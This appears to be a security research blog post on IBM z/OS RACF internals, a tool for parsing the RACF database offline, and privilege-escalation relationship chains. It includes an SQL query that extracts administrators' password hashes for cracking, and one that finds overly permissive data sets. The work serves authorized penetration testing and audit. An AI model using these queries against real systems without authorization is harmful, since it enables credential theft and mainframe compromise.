<content:encoded><![CDATA[<p><img width="990" height="400" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/08091236/zos-racf-featured-image-990x400.jpg" class="attachment-securelist-huge-promo size-securelist-huge-promo wp-post-image" alt="" decoding="async" loading="lazy" /></p><p>In our <a href="https://securelist.com/zos-mainframe-pentesting/113427/" target="_blank" rel="noopener">previous article</a> we dissected penetration testing techniques for IBM z/OS mainframes protected by the Resource Access Control Facility (RACF) security package. In this second part of our research, we delve deeper into RACF by examining its decision-making logic, database structure, and the interactions between the various entities in this subsystem. To facilitate offline analysis of the RACF database, we have developed our own utility, racfudit, which we will use to perform possible checks and evaluate RACF configuration security. As part of this research, we also outline the relationships between RACF entities (users, resources, and data sets) to identify potential privilege escalation paths for z/OS users.</p>
<p>This material is provided solely for educational purposes and is intended to assist professionals conducting authorized penetration tests.</p>
<h2 id="racf-internal-architecture">RACF internal architecture</h2>
<h3 id="overall-role">Overall role</h3>
<div id="attachment_116875" style="width: 2643px" class="wp-caption aligncenter"><a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06222807/zos-mainframe1-scaled-1-scaled.png" class="magnificImage"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-116875" class="size-full wp-image-116875" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06222807/zos-mainframe1-scaled-1-scaled.png" alt="z/OS access control diagram" width="2633" height="991" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06222807/zos-mainframe1-scaled-1-scaled.png 2633w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06222807/zos-mainframe1-scaled-1-300x113.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06222807/zos-mainframe1-scaled-1-1024x385.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06222807/zos-mainframe1-scaled-1-768x289.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06222807/zos-mainframe1-scaled-1-1536x578.png 1536w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06222807/zos-mainframe1-scaled-1-2048x771.png 2048w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06222807/zos-mainframe1-scaled-1-930x350.png 930w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06222807/zos-mainframe1-scaled-1-740x279.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06222807/zos-mainframe1-scaled-1-744x280.png 744w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06222807/zos-mainframe1-scaled-1-800x301.png 800w" sizes="auto, (max-width: 2633px) 100vw, 2633px" /></a><p id="caption-attachment-116875" class="wp-caption-text">z/OS access control diagram</p></div>
<p>To thoroughly analyze RACF, let’s recall its role and the functions of its components within the overall z/OS architecture. As illustrated in the diagram above, RACF can generally be divided into a service component and a database. Other components exist too, such as utilities for RACF administration and management, or the RACF Auditing and Reporting solution responsible for event logging and reporting. However, for a general understanding of the process, we believe these components are not strictly necessary. The RACF database stores information about z/OS users and the resources for which access control is configured. Based on this data, the RACF service component performs all necessary security checks when requested by other z/OS components and subsystems. RACF typically interacts with other subsystems through the System Authorization Facility (SAF) interface. Various z/OS components use SAF to authorize a user’s access to resources or to execute a user-requested operation. It is worth noting that while this paper focuses on the operating principle of RACF as the standard security package, other security packages like <a href="https://docs.broadcom.com/doc/ca-acf2" target="_blank" rel="noopener">ACF2</a> or <a href="https://docs.broadcom.com/doc/ca-top-secret" target="_blank" rel="noopener">Top Secret</a> can also be used in z/OS.</p>
<p>Let’s consider an example of user authorization within the Time Sharing Option (<a href="https://www.ibm.com/docs/en/zos-basic-skills?topic=interfaces-what-is-tso" target="_blank" rel="noopener">TSO</a>) subsystem, the z/OS equivalent of a command line interface. We use an x3270 terminal emulator to connect to the mainframe. After successful user authentication in z/OS, the TSO subsystem uses SAF to query the RACF security package, checking that the user has permission to access the TSO resource manager. The RACF service queries the database for user information, which is stored in a user profile. If the database contains a record of the required access permissions, the user is authorized, and information from the user profile is placed into the address space of the new TSO session within the <a href="https://www.ibm.com/docs/en/zos/2.4.0?topic=areas-acee-accessor-environment-element" target="_blank" rel="noopener">ACEE</a> (Accessor Environment Element) control block. For subsequent attempts to access other z/OS resources within that TSO session, RACF uses the information in ACEE to make the decision on granting user access. SAF reads data from ACEE and transmits it to the RACF service. RACF makes the decision to grant or deny access, based on information in the relevant profile of the requested resource stored in the database. This decision is then sent back to SAF, which processes the user request accordingly. The process of querying RACF repeats for any further attempts by the user to access other resources or execute commands within the TSO session.</p>
<p>Thus, RACF handles identification, authentication, and authorization of users, as well as granting privileges within z/OS.</p>
<h3 id="racf-database-components">RACF database components</h3>
<p>As discussed above, access decisions for resources within z/OS are made based on information stored in the RACF database. This data is kept in the form of records, or as RACF terminology puts it, profiles. These contain details about specific z/OS objects. While the RACF database can hold various profile types, four main types are especially important for security analysis:</p>
<ol>
<li><a href="https://www.ibm.com/docs/en/zos/2.5.0?topic=users-user-profiles" target="_blank" rel="noopener">User profile</a> holds user-specific information such as logins, password hashes, special attributes, and the groups the user belongs to.</li>
<li><a href="https://www.ibm.com/docs/en/zos/2.5.0?topic=groups-group-profiles" target="_blank" rel="noopener">Group profile</a> contains information about a group, including its members, owner, special attributes, list of subgroups, and the access permissions of group members for that group.</li>
<li><a href="https://www.ibm.com/docs/en/zos/2.5.0?topic=sets-data-set-profiles" target="_blank" rel="noopener">Data set profile</a> stores details about a data set, including access permissions, attributes, and auditing policy.</li>
<li><a href="https://www.ibm.com/docs/en/zos/2.5.0?topic=resources-defining-profiles-general" target="_blank" rel="noopener">General resource profile</a> provides information about a resource or resource class, such as resource holders, their permissions regarding the resource, audit policy, and the resource owner.</li>
</ol>
<p>The RACF database contains numerous instances of these profiles. Together, they form a complex structure of relationships between objects and subjects within z/OS, which serves as the basis for access decisions.</p>
<h4 id="logical-structure-of-racf-database-profiles">Logical structure of RACF database profiles</h4>
<p>Each profile is composed of one or more segments. Different profile types utilize different segment types.</p>
<p>For example, a user profile instance may contain the following segments:</p>
<ul>
<li>BASE: core user information in RACF (mandatory segment);</li>
<li>TSO: user TSO-session parameters;</li>
<li>OMVS: user session parameters within the z/OS UNIX subsystem;</li>
<li>KERB: data related to the z/OS Network Authentication Service, essential for Kerberos protocol operations;</li>
<li>and others.</li>
</ul>
<div id="attachment_116876" style="width: 1486px" class="wp-caption aligncenter"><a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06222934/zos-mainframe2.png" class="magnificImage"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-116876" class="size-full wp-image-116876" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06222934/zos-mainframe2.png" alt="User profile segments" width="1476" height="703" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06222934/zos-mainframe2.png 1476w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06222934/zos-mainframe2-300x143.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06222934/zos-mainframe2-1024x488.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06222934/zos-mainframe2-768x366.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06222934/zos-mainframe2-735x350.png 735w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06222934/zos-mainframe2-740x352.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06222934/zos-mainframe2-588x280.png 588w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06222934/zos-mainframe2-800x381.png 800w" sizes="auto, (max-width: 1476px) 100vw, 1476px" /></a><p id="caption-attachment-116876" class="wp-caption-text">User profile segments</p></div>
<p>Different segment types are distinguished by the set of fields they store. For instance, the BASE segment of a user profile contains the following fields:</p>
<ul>
<li>PASSWORD: the user’s password hash;</li>
<li>PHRASE: the user’s password phrase hash;</li>
<li>LOGIN: the user’s login;</li>
<li>OWNER: the owner of the user profile;</li>
<li>AUTHDATE: the date of the user profile creation in the RACF database;</li>
<li>and others.</li>
</ul>
<p>The PASSWORD and PHRASE fields are particularly interesting for security analysis, and we will dive deeper into these later.</p>
<h3 id="racf-database-structure">RACF database structure</h3>
<p>It is worth noting that the RACF database is stored as a specialized data set with a specific format. Grasping this format is very helpful when analyzing the DB and mapping the relationships between z/OS objects and subjects.</p>
<p>As discussed in our <a href="https://securelist.com/zos-mainframe-pentesting/113427/#authorized-program-facility" target="_blank" rel="noopener">previous article</a>, a data set is the mainframe equivalent of a file, composed of a series of blocks.</p>
<div id="attachment_116877" style="width: 1035px" class="wp-caption aligncenter"><a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06223037/zos-mainframe3.png" class="magnificImage"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-116877" class="size-full wp-image-116877" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06223037/zos-mainframe3.png" alt="RACF DB structure" width="1025" height="672" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06223037/zos-mainframe3.png 1025w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06223037/zos-mainframe3-300x197.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06223037/zos-mainframe3-768x504.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06223037/zos-mainframe3-534x350.png 534w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06223037/zos-mainframe3-740x485.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06223037/zos-mainframe3-427x280.png 427w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06223037/zos-mainframe3-800x524.png 800w" sizes="auto, (max-width: 1025px) 100vw, 1025px" /></a><p id="caption-attachment-116877" class="wp-caption-text">RACF DB structure</p></div>
<p>The image above illustrates the RACF database structure, detailing the data blocks and their offsets. From the RACF DB analysis perspective, and when subsequently determining the relationships between z/OS objects and subjects, the most critical blocks include:</p>
<ul>
<li>The header block, or inventory control block (ICB), which contains various metadata and pointers to all other data blocks within the RACF database. By reading the ICB, you gain access to the rest of the data blocks.</li>
<li>Index blocks, which form a singly linked list that contains pointers to all profiles and their segments in the RACF database – that is, to the information about all users, groups, data sets, and resources.</li>
<li>Templates: a crucial data block containing templates for all profile types (user, group, data set, and general resource profiles). The templates list fields and specify their format for every possible segment type within the corresponding profile type.</li>
</ul>
<p>Upon dissecting the RACF database structure, we identified the need for a utility capable of extracting all relevant profile information from the DB, regardless of its version. This utility would also need to save the extracted data in a convenient format for offline analysis. Performing this type of analysis provides a comprehensive picture of the relationships between all objects and subjects for a specific z/OS installation, helping uncover potential security vulnerabilities that could lead to privilege escalation or lateral movement.</p>
<h2 id="utilities-for-racf-db-analysis">Utilities for RACF DB analysis</h2>
<p>At the previous stage, we defined the following functional requirements for an RACF DB analysis utility:</p>
<ol>
<li>The ability to analyze RACF profiles offline without needing to run commands on the mainframe</li>
<li>The ability to extract exhaustive information about RACF profiles stored in the DB</li>
<li>Compatibility with various RACF DB versions</li>
<li>Intuitive navigation of the extracted data and the option to present it in various formats: plaintext, JSON, SQL, etc.</li>
</ol>
<h3 id="overview-of-existing-racf-db-analysis-solutions">Overview of existing RACF DB analysis solutions</h3>
<p>We started by analyzing off-the-shelf tools and evaluating their potential for our specific needs:</p>
<ul>
<li><a href="https://github.com/willstruggle/john/blob/master/racf2john" target="_blank" rel="noopener">Racf2john</a> extracts user password hashes (from the PASSWORD field) encrypted with the DES and KDFAES algorithms from the RACF database. While this was a decent starting point, we needed more than just the PASSWORD field; specifically, we also needed to retrieve content from other profile fields like PHRASE.</li>
<li><a href="https://github.com/mainframed/racf2sql" target="_blank" rel="noopener">Racf2sql</a> takes an RACF DB dump as input and converts it into an SQLite database, which can then be queried with SQL. This is convenient, but the conversion process risks losing data critical for z/OS security assessment and identifying misconfigurations. Furthermore, the tool requires a database dump generated by the z/OS <a href="https://www.ibm.com/docs/en/zos/2.1.0?topic=database-using-racf-unload-utility-irrdbu00" target="_blank" rel="noopener">IRRDBU00</a> utility (part of the RACF security package) rather than the raw database itself.</li>
<li><a href="https://www.ibm.com/docs/en/zos/2.1.0?topic=interfaces-irrxutil-rexx-interface-r-admin-extract" target="_blank" rel="noopener">IRRXUTIL</a> allows querying the RACF DB to extract information. It is also part of the RACF security package. It can be conveniently used with a <a href="https://github.com/lnlyssg/IRRXUTIL" target="_blank" rel="noopener">set of scripts</a> written in REXX (an interpreted language used in z/OS). However, these scripts demand elevated privileges (access to one or more IRR.RADMIN.** resources in the FACILITY resource class) and must be executed directly on the mainframe, which is unsuitable for the task at hand.</li>
<li><a href="https://github.com/lnlyssg/zos/blob/main/racf_debug_cleanup.c" target="_blank" rel="noopener">Racf_debug_cleanup.c</a> directly analyzes a RACF DB from a data set copy. A significant drawback is that it only parses BASE segments and outputs results in plaintext.</li>
</ul>
<p>As you can see, existing tools don’t satisfy our needs. Some utilities require direct execution on the mainframe. Others operate on a data set copy and extract incomplete information from the DB. Moreover, they rely on hardcoded offsets and signatures within profile segments, which can vary across RACF versions. Therefore, we decided to develop our own utility for RACF database analysis.</p>
<h3 id="introducing-racfudit">Introducing racfudit</h3>
<p>We have written our own platform-independent utility <a href="https://github.com/klsecservices/racfudit" target="_blank" rel="noopener">racfudit</a> in Golang and tested it across various z/OS versions (1.13, 2.02, and 3.1). Below, we delve into the operating principles, capabilities and advantages of our new tool.</p>
<h4 id="extracting-data-from-the-racf-db">Extracting data from the RACF DB</h4>
<p>To analyze RACF DB information offline, we first needed a way to extract structured data. We developed a two-stage approach for this:</p>
<ul>
<li>The first stage involves analyzing the templates stored within the RACF DB. Each template describes a specific profile type, its constituent segments, and the fields within those segments, including their type and size. This allows us to obtain an up-to-date list of profile types, their segments, and associated fields, regardless of the RACF version.</li>
<li>In the second stage, we traverse all index blocks to extract every profile with its content from the RACF DB. These collected profiles are then processed and parsed using the templates obtained in the first stage.</li>
</ul>
<p>The first stage is crucial because RACF DB profiles are stored as unstructured byte arrays. The templates are what define how each specific profile (byte array) is processed based on its type.</p>
<p>Thus, we defined the following algorithm to extract structured data.</p>
<div id="attachment_116878" style="width: 2148px" class="wp-caption aligncenter"><a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06223320/zos-mainframe4.png" class="magnificImage"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-116878" class="size-full wp-image-116878" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06223320/zos-mainframe4.png" alt="Extracting data from the RACF DB using templates" width="2138" height="1018" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06223320/zos-mainframe4.png 2138w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06223320/zos-mainframe4-300x143.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06223320/zos-mainframe4-1024x488.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06223320/zos-mainframe4-768x366.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06223320/zos-mainframe4-1536x731.png 1536w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06223320/zos-mainframe4-2048x975.png 2048w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06223320/zos-mainframe4-735x350.png 735w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06223320/zos-mainframe4-740x352.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06223320/zos-mainframe4-588x280.png 588w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06223320/zos-mainframe4-800x381.png 800w" sizes="auto, (max-width: 2138px) 100vw, 2138px" /></a><p id="caption-attachment-116878" class="wp-caption-text">Extracting data from the RACF DB using templates</p></div>
<ol>
<li>We offload the RACF DB from the mainframe and read its header block (ICB) to determine the location of the templates.</li>
<li>Based on the template for each profile type, we define an algorithm for structuring specific profile instances according to their type.</li>
<li>We use the content of the header block to locate the index blocks, which store pointers to all profile instances.</li>
<li>We read all profile instances and their segments sequentially from the list of index blocks.</li>
<li>For each profile instance and its segments we read, we apply the processing algorithm based on the corresponding template.</li>
<li>All processed profile instances are saved in an intermediate state, allowing for future storage in various formats, such as plaintext or SQLite.</li>
</ol>
<p>The advantage of this approach is its version independence. Even if templates and index blocks change their structure across RACF versions, our utility will not lose data because it dynamically determines the structure of each profile type based on the relevant template.</p>
<h4 id="analyzing-extracted-racf-db-information">Analyzing extracted RACF DB information</h4>
<p>Our racfudit utility can present collected RACF DB information as an SQLite database or a plaintext file.<br />
<div id="attachment_116901" style="width: 772px" class="wp-caption aligncenter"><a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/08091329/zOS-RACF-graphics.png" class="magnificImage"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-116901" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/08091329/zOS-RACF-graphics.png" alt="RACF DB information as an SQLite DB (top) and text data (bottom)" width="762" height="993" class="size-full wp-image-116901" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/08091329/zOS-RACF-graphics.png 762w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/08091329/zOS-RACF-graphics-230x300.png 230w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/08091329/zOS-RACF-graphics-269x350.png 269w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/08091329/zOS-RACF-graphics-740x964.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/08091329/zOS-RACF-graphics-215x280.png 215w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/08091329/zOS-RACF-graphics-691x900.png 691w" sizes="auto, (max-width: 762px) 100vw, 762px" /></a><p id="caption-attachment-116901" class="wp-caption-text">RACF DB information as an SQLite DB (top) and text data (bottom)</p></div>
<p>Using SQLite, you can execute SQL queries to identify misconfigurations in RACF that could be exploited for privilege escalation, lateral movement, bypassing access controls, or other pentesting tactics. It is worth noting that the set of SQL queries used for processing information in SQLite can be adapted to validate current RACF settings against <a href="https://www.ibm.com/support/pages/ibm-security-zsecure-31-compliance-standards-march-2025" target="_blank" rel="noopener">security standards</a> and <a href="https://mainframestig.com/wp-content/uploads/2023/02/CIS_IBM_z_OS_V2R5_with_RACF_Benchmark_v1.0.0.pdf" target="_blank" rel="noopener">best practices</a>. Let’s look at some specific examples of how to use the racfudit utility to uncover security issues.</p>
<h5 id="collecting-password-hashes">Collecting password hashes</h5>
<p>One of the primary goals in penetration testing is to get a list of administrators and a way to authorize using their credentials. This can be useful for maintaining persistence on the mainframe, moving laterally to other mainframes, or even pivoting to servers running different operating systems. Administrators are typically found in the SYS1 group and its subgroups. The example below shows a query to retrieve hashes of passwords (PASSWORD) and password phrases (PHRASE) for privileged users in the SYS1 group.</p>
<pre class="urvanov-syntax-highlighter-plain-tag">select ProfileName,PHRASE,PASSWORD,CONGRPNM from USER_BASE where CONGRPNM LIKE "%SYS1%";</pre> </p>
<p>Of course, to log in to the system, you need to crack these hashes to recover the actual passwords. We cover that in more detail below.</p>
<h5 id="searching-for-inadequate-uacc-control-in-data-sets">Searching for inadequate UACC control in data sets</h5>
<p>The universal access authority (UACC) defines the default access permissions to the data set. This parameter specifies the level of access for all users who do not have specific access permissions configured. Insufficient control over UACC values can pose a significant risk if elevated access permissions (UPDATE or higher) are set for data sets containing sensitive data or for <a href="https://securelist.com/zos-mainframe-pentesting/113427/#authorized-program-facility" target="_blank" rel="noopener">APF libraries</a>, which could allow privilege escalation. The query below helps identify data sets with default ALTER access permissions, which allow users to read, delete and modify the data set.</p>
<pre class="urvanov-syntax-highlighter-plain-tag">select ProfileName, UNIVACS from DATASET_BASE where UNIVACS LIKE "1%";</pre> </p>
<p>The UACC field is not present only in data set profiles; it is also found in other profile types. Weak control in the configuration of this field can give a penetration tester access to resources.</p>
<h2 id="racf-profile-relationships">RACF profile relationships</h2>
<p>As mentioned earlier, various RACF entities have relationships. Some are explicitly defined; for example, a username might be listed in a group profile within its member field (USERID field). However, there are also implicit relationships. For instance, if a user group has UPDATE access to a specific data set, every member of that group implicitly has write access to that data set. This is a simple example of implicit relationships. Next, we delve into more complex and specific relationships within the RACF database that a penetration tester can exploit.</p>
<h3 id="racf-profile-fields">RACF profile fields</h3>
<p>A deep dive into RACF internal architecture reveals that misconfigurations of access permissions and other attributes for various RACF entities can be difficult to detect and remediate in some scenarios. These seemingly minor errors can be critical, potentially leading to mainframe compromise. The explicit and implicit relationships within the RACF database collectively define the mainframe’s current security posture. As mentioned, each profile type in the RACF database has a unique set of fields and attributes that describe how profiles relate to one another. Based on these fields and attributes, we have compiled lists of key fields that help build and analyze relationship chains.</p>
<a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06223602/zos-mainframe6.png" class="magnificImage"><img loading="lazy" decoding="async" class="size-full wp-image-116880" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06223602/zos-mainframe6.png" width="1244" height="1244" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06223602/zos-mainframe6.png 1244w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06223602/zos-mainframe6-300x300.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06223602/zos-mainframe6-1024x1024.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06223602/zos-mainframe6-150x150.png 150w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06223602/zos-mainframe6-768x768.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06223602/zos-mainframe6-350x350.png 350w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06223602/zos-mainframe6-740x740.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06223602/zos-mainframe6-280x280.png 280w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06223602/zos-mainframe6-800x800.png 800w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06223602/zos-mainframe6-50x50.png 50w" sizes="auto, (max-width: 1244px) 100vw, 1244px" /></a>
<em>User profile fields</em></p>
<ul>
<li>SPECIAL: indicates that the user has privileges to execute any RACF command and grants them full control over all profiles in the RACF database.</li>
<li>OPERATIONS: indicates whether the user has authorized access to all RACF-protected resources of the DATASET, DASDVOL, GDASDVOL, PSFMPL, TAPEVOL, VMBATCH, VMCMD, VMMDISK, VMNODE, and VMRDR classes. While actions for users with this field specified are subject to certain restrictions, in a penetration testing context the OPERATIONS field often indicates full data set access.</li>
<li>AUDITOR: indicates whether the user has permission to access audit information.</li>
<li>AUTHOR: the creator of the user. It has certain privileges over the user, such as the ability to change their password.</li>
<li>REVOKE: indicates whether the user can log in to the system.</li>
<li>Password TYPE: specifies the hash type (DES or KDFAES) for passwords and password phrases. This field is not natively present in the user profile, but it can be created based on how different passwords and password phrases are stored.</li>
<li>Group-SPECIAL: indicates whether the user has full control over all profiles within the scope defined by the group or groups field. This is a particularly interesting field that we explore in more detail below.</li>
<li>Group-OPERATIONS: indicates whether the user has authorized access to all RACF-protected resources of the DATASET, DASDVOL, GDASDVOL, PSFMPL, TAPEVOL, VMBATCH, VMCMD, VMMDISK, VMNODE and VMRDR classes within the scope defined by the group or groups field.</li>
<li>Group-AUDITOR: indicates whether the user has permission to access audit information within the scope defined by the group or groups field.</li>
<li>CLAUTH (class authority): allows the user to create profiles within the specified class or classes. This field enables delegation of management privileges for individual classes.</li>
<li>GROUPIDS: contains a list of groups the user belongs to.</li>
<li>UACC (universal access authority): defines the UACC value for new profiles created by the user.</li>
</ul>
<p><em>Group profile fields</em></p>
<ul>
<li>UACC (universal access authority): defines the UACC value for new profiles that the user creates when connected to the group.</li>
<li>OWNER: the creator of the group. The owner has specific privileges in relation to the current group and its subgroups.</li>
<li>USERIDS: the list of users within the group. The order is essential.</li>
<li>USERACS: the list of group members with their respective permissions for access to the group. The order is essential.</li>
<li>SUPGROUP: the name of the superior group.</li>
</ul>
<p><em>General resource and data set profile fields</em></p>
<ul>
<li>UACC (universal access authority): defines the default access permissions to the resource or data set.</li>
<li>OWNER: the creator of the resource or data set, who holds certain privileges over it.</li>
<li>WARNING: indicates whether the resource or data set is in WARNING mode.</li>
<li>USERIDS: the list of user IDs associated with the resource or data set. The order is essential.</li>
<li>USERACS: the list of users with access permissions to the resource or data set. The order is essential.</li>
</ul>
<h3 id="racf-profile-relationship-chains">RACF profile relationship chains</h3>
<p>The fields listed above demonstrate the presence of relationships between RACF profiles. We have decided to name these relationships similarly to those used in <a href="https://bloodhound.readthedocs.io/en/latest/data-analysis/edges.html" target="_blank" rel="noopener">BloodHound</a>, a popular tool for analyzing Active Directory misconfigurations. Below are some examples of these relationships – the list is not exhaustive.</p>
<ul>
<li>Owner: the subject owns the object.</li>
<li>MemberOf: the subject is part of the object.</li>
<li>AllowJoin: the subject has permission to add itself to the object.</li>
<li>AllowConnect: the subject has permission to add another object to the specified object.</li>
<li>AllowCreate: the subject has permission to create an instance of the object.</li>
<li>AllowAlter: the subject has the ALTER privilege for the object.</li>
<li>AllowUpdate: the subject has the UPDATE privilege for the object.</li>
<li>AllowRead: the subject has the READ privilege for the object.</li>
<li>CLAuthTo: the subject has permission to create instances of the object as defined in the CLAUTH field.</li>
<li>GroupSpecial: the subject has full control over all profiles within the object’s scope of influence as defined in the group-SPECIAL field.</li>
<li>GroupOperations: the subject has permissions to perform certain operations with the object as defined in the group-OPERATIONS field.</li>
<li>ImpersonateTo: the subject grants the object the privilege to perform certain operations on the subject’s behalf.</li>
<li>ResetPassword: the subject grants another object the privilege to reset the password or password phrase of the specified object.</li>
<li>UnixAdmin: the subject grants superuser privileges to the object in z/OS UNIX.</li>
<li>SetAPF: the subject grants another object the privilege to set the APF flag on the specified object.</li>
</ul>
<p>These relationships serve as edges when constructing a graph of subject–object interconnections. Below are examples of potential relationships between specific profile types.</p>
<div id="attachment_116881" style="width: 1568px" class="wp-caption aligncenter"><a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06223708/zos-mainframe7.png" class="magnificImage"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-116881" class="size-full wp-image-116881" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06223708/zos-mainframe7.png" alt="Examples of relationships between RACF profiles" width="1558" height="1254" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06223708/zos-mainframe7.png 1558w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06223708/zos-mainframe7-300x241.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06223708/zos-mainframe7-1024x824.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06223708/zos-mainframe7-768x618.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06223708/zos-mainframe7-1536x1236.png 1536w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06223708/zos-mainframe7-435x350.png 435w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06223708/zos-mainframe7-740x596.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06223708/zos-mainframe7-348x280.png 348w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06223708/zos-mainframe7-800x644.png 800w" sizes="auto, (max-width: 1558px) 100vw, 1558px" /></a><p id="caption-attachment-116881" class="wp-caption-text">Examples of relationships between RACF profiles</p></div>
<p>Visualizing and analyzing these relationships helped us identify specific chains that describe potential RACF security issues, such as a path from a low-privileged user to a highly-privileged one. Before we delve into examples of these chains, let’s consider another interesting and peculiar feature of the relationships between RACF database entities.</p>
<h3 id="implicit-racf-profile-relationships">Implicit RACF profile relationships</h3>
<p>We have observed a fascinating characteristic of the group-SPECIAL, group-OPERATIONS, and group-AUDITOR fields within a user profile. If the user has any group specified in one of these fields, that group’s scope of influence <a href="https://www.ibm.com/docs/en/zos/2.2.0?topic=level-scope-authority-users-group-attributes" target="_blank" rel="noopener">extends</a> the user’s own scope.</p>
